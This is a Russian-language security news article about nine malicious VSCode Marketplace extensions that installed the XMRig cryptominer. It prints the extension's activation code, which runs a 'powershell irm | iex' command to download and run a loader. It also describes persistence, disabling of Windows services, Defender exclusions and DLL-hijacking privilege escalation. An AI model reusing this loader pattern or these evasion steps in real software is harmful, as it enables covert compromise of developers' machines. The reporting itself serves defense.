Исследователь ExtensionTotal Ювал Ронен обнаружил девять расширений VSCode на Visual Studio Code Marketplace от Microsoft, которые выдают себя за легитимные инструменты разработки, но заражают пользователей криптомайнером XMRig для майнинга Ethereum и Monero.
Microsoft VSCode — популярный редактор кода, позволяющий пользователям устанавливать расширения для расширения функциональности программы. Эти расширения можно загрузить с онлайн-хаба для разработчиков VSCode Marketplace от Microsoft.
Имена вредоносных пакетов:
Discord Rich Presence для VS Code (автор Mark H) — 189 тыс. установок;
Rojo — Roblox Studio Sync (автор evaera) — 117 тыс. установок;
Solidity Compiler (автор VSCode Developer) — 1,3 тыс. установок;
Claude AI (автор Mark H);
Golang Compiler (автор Mark H);
ChatGPT Agent для VSCode (автор Mark H);
HTML Obfuscator (автор Mark H);
Python Obfuscator для VSCode (автор Mark H);
Rust Compiler для VSCode (автор Mark H).
Таким образом, у расширений уже накопилось более 300 тысяч установок с 4 апреля. Эти цифры, вероятно, искусственно завышены, чтобы придать расширениям видимость легитимности и популярности.
После установки и активации они извлекают скрипт PowerShell из внешнего источника по адресу «https://asdf11[.]xyz/» и выполняют его. После завершения также устанавливается легитимное расширение, чтобы не вызвать подозрений у пользователя.
function activate(context) { // Register the command to execute the PowerShell Loader and install the extension let disposable = vscode.commands.registerCommand(‘hubtestmanagerex.runCmd’, async function () { if (process.platform === ‘win32’) { const cmdCommand = ‘powershell -Command «irm | iex»‘; potry { // Execute the command to download and execution the PowerShell Loader await executeCmdCommand(cmdCommand); // After the PowerShell Loader has been executed, install the Solidity extension const extensionId = ‘icrawl.discord-vscode’; // The identifier for the Solidity extension await installExtension(extensionId); } catch (error) { vscode.window.showErrorMessage(`Failed to execute command: ${error.message}`); } } });
Вредоносный скрипт PowerShell выполняет несколько функций, таких как отключение защиты, установление персистентности, повышение привилегий и, в конечном итоге, загрузка криптомайнера.
Во-первых, он создаёт запланированную задачу, замаскированную под «OnedriveStartup», и внедряет скрипт в реестр Windows, чтобы гарантировать запуск вредоносного ПО (Launcher.exe) при запуске системы.
Затем он отключает критически важные службы Windows, такие как Windows Update и Update Medic, и добавляет свой рабочий каталог в список исключений Windows Defender, чтобы избежать обнаружения.
Если вредоносная программа не была запущена с правами администратора, она имитирует системный двоичный файл (ComputerDefaults.exe) и выполняет перехват DLL, используя вредоносный MLANG.dll для повышения привилегий и выполнения полезной нагрузки Launcher.exe.
Исполняемый файл, который поставляется в форме, закодированной в base64, декодируется скриптом PowerShell для подключения к вторичному серверу в myaunet[.]su для загрузки и запуска XMRig.
В BleepingComputer обнаружили, что на удалённом сервере злоумышленника также есть папка /npm/. Это потенциально указывает на то, что кампания активна и в этом индексе пакетов. Однако журналистам не удалось найти вредоносные файлы на платформе NPM.
Тем, кто установил такое расширение, следует немедленно удалить его, а затем вручную найти и удалить майнер монет, запланированные задачи, раздел реестра и каталог вредоносного ПО.
В BleepingComputer связались с Microsoft по поводу проблемных расширений, и компания заявила, что уже удалила их, а издатель был заблокирован в VS Marketplace.
О том, как хакеры используют функцию «туннелирование» в VSCode и что делать для выявления подобных действий с помощью R-Vision SIEM, можно прочитать здесь.
Источник: habr.com